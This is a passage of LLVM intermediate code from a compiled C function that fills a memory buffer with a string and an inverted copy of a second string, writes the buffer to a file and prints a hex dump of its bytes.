%38 = tail call i32 (i32, i8*, ...) @fprintf(i32 %35, i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.3, i64 0, i64 0), i8* %37)
%39 = load i32, i32* @EXIT_FAILURE
%40 = tail call i32 @exit(i32 %39)
unreachable
41: ; preds = %15
%42 = load i32, i32* @PROT_READ
%43 = load i32, i32* @PROT_WRITE
%44 = or i32 %43, %42
%45 = load i32, i32* @MAP_ANONYMOUS
%46 = load i32, i32* @MAP_PRIVATE
%47 = or i32 %46, %45
%48 = tail call i8* @mmap(i32* null, i32 1024, i32 %44, i32 %47, i32 -1, i32 0)
%49 = load i8*, i8** @MAP_FAILED
%50 = icmp eq i8* %48, %49
br i1 %50, label %51, label %56
51: ; preds = %41
%52 = load i32, i32* @stderr
%53 = tail call i32 (i32, i8*, ...) @fprintf(i32 %52, i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.4, i64 0, i64 0))
%54 = load i32, i32* @EXIT_FAILURE
%55 = tail call i32 @exit(i32 %54)
unreachable
56: ; preds = %41
%57 = tail call i32 @strlen(i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i64 0, i64 0))
%58 = tail call i32 @memcpy(i8* %48, i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i64 0, i64 0), i32 %57)
%59 = tail call i32 @strlen(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%60 = trunc i32 %59 to i8
%61 = getelementptr inbounds i8, i8* %48, i64 13
store i8 %60, i8* %61
%62 = tail call i32 @strlen(i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i64 0, i64 0))
%63 = sext i32 %62 to i64
%64 = getelementptr inbounds i8, i8* %48, i64 %63
%65 = tail call i32 @strlen(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%66 = icmp sgt i32 %65, 0
br i1 %66, label %69, label %67
67: ; preds = %69, %56
%68 = icmp eq i32 %5, 0
br i1 %68, label %107, label %85
69: ; preds = %56, %69
%70 = phi i64 [ %78, %69 ], [ 0, %56 ]
%71 = getelementptr inbounds [35 x i8], [35 x i8]* @.str.1, i64 0, i64 %70
%72 = load i8, i8* %71
%73 = xor i8 %72, -1
%74 = add nsw i64 %70, -23
%75 = icmp ult i64 %74, 3
%76 = select i1 %75, i8 -1, i8 %73
%77 = getelementptr inbounds i8, i8* %64, i64 %70
store i8 %76, i8* %77
%78 = add nuw nsw i64 %70, 1
%79 = tail call i32 @strlen(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%80 = sext i32 %79 to i64
%81 = icmp slt i64 %78, %80
br i1 %81, label %69, label %67
82: ; preds = %85
br i1 %68, label %107, label %83
83: ; preds = %82
%84 = call i64 @llvm.umax.i64(i64 %6, i64 1)
br label %91
85: ; preds = %67, %85
%86 = phi i64 [ %89, %85 ], [ 0, %67 ]
%87 = sub i64 %6, %86
%88 = tail call i64 @write(i32 %32, i8* %48, i64 %87)
%89 = add i64 %88, %86
%90 = icmp ult i64 %89, %6
br i1 %90, label %85, label %82
91: ; preds = %83, %98
%92 = phi i64 [ 0, %83 ], [ %105, %98 ]
%93 = phi i32 [ 15, %83 ], [ %100, %98 ]
%94 = icmp sgt i32 %93, 14
br i1 %94, label %95, label %98
95: ; preds = %91
%96 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([2 x i8], [2 x i8]* @str.10, i64 0, i64 0))
%97 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0))
br label %98
98: ; preds = %95, %91
%99 = phi i32 [ 0, %95 ], [ %93, %91 ]
%100 = add nsw i32 %99, 1
%101 = getelementptr inbounds i8, i8* %48, i64 %92
%102 = load i8, i8* %101
%103 = zext i8 %102 to i32
%104 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([7 x i8], [7 x i8]* @.str.7, i64 0, i64 0), i32 %103)
%105 = add nuw i64 %92, 1
%106 = icmp eq i64 %105, %84
br i1 %106, label %107, label %91
107: ; preds = %98, %67, %82
%108 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([4 x i8], [4 x i8]* @str, i64 0, i64 0))
%109 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @.str.9, i64 0, i64 0), i64 %6)
%110 = tail call i32 @close(i32 %32)
%111 = tail call i32 @munmap(i8* %48, i32 0)
%112 = load i32, i32* @EXIT_SUCCESS
%113 = tail call i32 @exit(i32 %112)
unreachable
}